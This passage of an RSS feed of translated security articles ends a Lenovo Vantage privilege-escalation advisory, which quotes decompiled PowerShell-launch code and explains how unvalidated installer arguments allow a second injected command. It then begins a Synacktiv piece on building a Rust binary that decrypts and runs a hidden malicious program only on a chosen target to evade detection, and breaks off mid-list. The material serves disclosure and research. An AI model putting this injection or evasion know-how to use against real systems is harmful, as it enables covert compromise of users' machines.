依据应用清单决定各项配置，包括映像路径、启动参数、用户上下文等。此时存在多条可利用的提权路径。值得注意的是，尽管攻击者对清单拥有完全控制权，但仍无法直接执行任意可执行文件——限制并非来自签名校验，而是一项路径检查，约束了可启动可执行文件的来源目录。这一缓解措施存在可利用的边缘情况，属于弱防护，但在默认配置下确实收窄了攻击面。即便如此，其他提权路径依然存在。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中一条提权路径是将用户上下文设置为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Admin</span></code><span leaf="">，此时 Vantage 通过 Powershell 启动安装程序：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">text7</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> ((</span><span style="color: rgb(215, 58, 73);"><span leaf="">!string.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">IsNullOrEmpty</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">info</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Install</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">CmdParameter</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">?.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Content</span></span><span leaf="">)) </span><span style="color: rgb(215, 58, 73);"><span leaf="">?</span></span><span leaf=""> (</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;-ArgumentList </span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">info</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Install</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">CmdParameter</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Content</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">string.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Empty</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">empty</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;exit (Start-Process -PassThru -Wait -FilePath </span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">text</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> &#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">text7</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34; -Verb runas).ExitCode&#34;</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">empty2</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Convert</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">ToBase64String</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">Encoding</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Unicode</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">GetBytes</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">empty</span></span><span leaf="">));</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">empty3</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">text3</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34; &#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">empty2</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34; &#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">text4</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ProcessLauncher</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">LaunchUserProcess</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">text2</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">empty3</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">null</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">visible</span></span><span leaf="">);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">info.Install.CmdParameter</span></code><span leaf="">完全由攻击者控制，使用前不经任何验证。这条路径需要用户点击通过 UAC 提示，但实际启动的是合法安装程序。攻击者可在参数中注入第二个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Start-Process</span></code><span leaf="">调用，修改可执行文件的执行环境（即搜索路径等运行时参数） ，或篡改安装程序的运行环境。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第二条路径在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">账户下执行。与管理员路径类似，此流程下命令参数同样不经验证，允许攻击者向安装程序或通过此路径启动的任意文件注入参数。我们注意到，应用程序服务器上提供了多种安装程序，包括 InstallBuilder、MSI 和 Inno Setup，这些安装程序均支持通过命令行参数配置安装行为。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">补丁更新</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Lenovo 已于 7 月 8 日针对上述漏洞发布补丁，系统将自动推送更新。如需确认补丁已完整安装，请核查以下插件的版本号：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">VantageCoreAddin &gt;= 1.0.0.199</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">LenovoSystemUpdateAddin &gt;= 1.0.24.32</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">插件版本可在各自的 XML 描述文件中查看，也可前往安装路径 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\ProgramData\Lenovo\Vantage\Addins</span></code><span leaf="">确认。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，请确保以下组件均已更新至最新版本：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Lenovo Vantage &gt;= 10.2501.20.0</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Lenovo Commercial Vantage &gt;= 20.2506.39.0</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">时间线</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">2025-04-25：Atredis Partners 向厂商发送初步通知，随附漏洞公告草稿</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2025-04-25：Lenovo 确认收到公告，并提供内部跟踪编号</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2025-05-19：Lenovo 通报修复进展，并将初步补丁发布日期定为 2025-07-08</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2025-06-12：Lenovo 询问复测事宜，并就研究发现提出补充问题</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2025-06-27：Lenovo 提供 CVE 编号及复测相关信息</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2025-07-08：Lenovo 发布补丁及漏洞公告</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">2025-07-09：Atredis 发布公开博客文章</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.atredis.com/blog/2025/7/7/uncovering-privilege-escalation-bugs-in-lenovo-vantage">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=674fabe1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495870%26idx%3D1%26sn%3D9a6cdb825acfa5b89e8a93b76e828c9a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 01 May 2026 17:05:00 +0800</pubDate>
    </item>
    <item>
      <title>在 Linux 上构建双面 Rust 二进制</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495869&amp;idx=1&amp;sn=67a942872ebe2ff8b60860b40d756a63</link>
      <description>利用 Rust 构建时代码能力，将主机数据派生密钥、AES-GCM 加密载荷与 memfd_create 内存执行结合，构造仅在目标主机上解密并运行隐藏程序的 Two-Face 二进制。</description>
      <content:encoded><![CDATA[<p><span>Maxime Desbrus</span> <span>2026-04-30 12:54</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=27d19d2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSgEBelb1eN3evyPZEHshJBAzAlzVp09WDGORxSibpEiaTAoicFR12fiaYAicTic18QkXHfogTKyT5oRibgReetDSWNmOQ5RH8jcbZYkP0%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>利用 Rust 构建时代码能力，将主机数据派生密钥、AES-GCM 加密载荷与 memfd_create 内存执行结合，构造仅在目标主机上解密并运行隐藏程序的 Two-Face 二进制。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.synacktiv.com/en/publications/creating-a-two-face-rust-binary-on-linux" target="_blank">https://www.synacktiv.com/en/publications/creating-a-two-face-rust-binary-on-linux</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Maxime Desbrus</span></p></td></tr></tbody></table><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">问题陈述</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">假设需要在某台特定目标机器上运行恶意程序。一种思路是将程序大范围分发，期望目标最终会执行它。具体的分发途径不在本文讨论范围内，可以设想为预编译的二进制文件，开发者经常从常用的 GitHub 项目页面下载此类文件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为最大化触达目标的概率，程序需要模仿无害程序的行为，避免任何可疑操作（例如连接到 C&amp;C 服务器），这类操作会被各类检测方案（sandbox、LSM、auditd 等）识别。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">目前为止这听起来相当简单，具体构建方式见下文。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">设计 Two-Face 二进制文件</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下文将在目标主机上运行的程序称为 &#34;hidden&#34;，将在其他主机上运行的无害程序称为 &#34;normal&#34;。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">构建此类程序的朴素做法是在早期就决定实际运行哪段代码，即：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">if is_running_on_target_host() {</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">hidden_program</span></span><span leaf="">();</span><br/><span leaf="">} else {</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">normal_program</span></span><span leaf="">();</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这种方式在基础运行时检测层面可行，但存在以下问题：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">&#34;hidden&#34; 程序仍存在于内存中，可被观测</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">更糟的是，二进制文件可被分析和反汇编，从而暴露 &#34;hidden&#34; 程序</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">更严重的是，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">is_running_on_target_host</span></code><span leaf="">会暴露目标对象身份</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如何改进？根本问题在于二进制文件暴露了所有需要隐藏的内容。隐藏这些数据，并加密目标程序以及被探测的主机数据，看似可以解决问题。实际情况更复杂：加密数据需要在运行时解密，密钥必须与加密数据一并嵌入二进制文件中，仅在原方案之上增加了一层混淆。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">可以在加密思路上继续推进：将密钥从目标机器的唯一主机数据中派生，替代直接与加密程序一并存储的做法。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">程序启动时的步骤如下：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">从主机提取可唯一标识目标的数据（详见后文）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用 HKDF，将嵌入二进制文件的密钥与上述主机数据派生出新密钥</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用派生密钥解密嵌入二进制中的 &#34;hidden&#34; 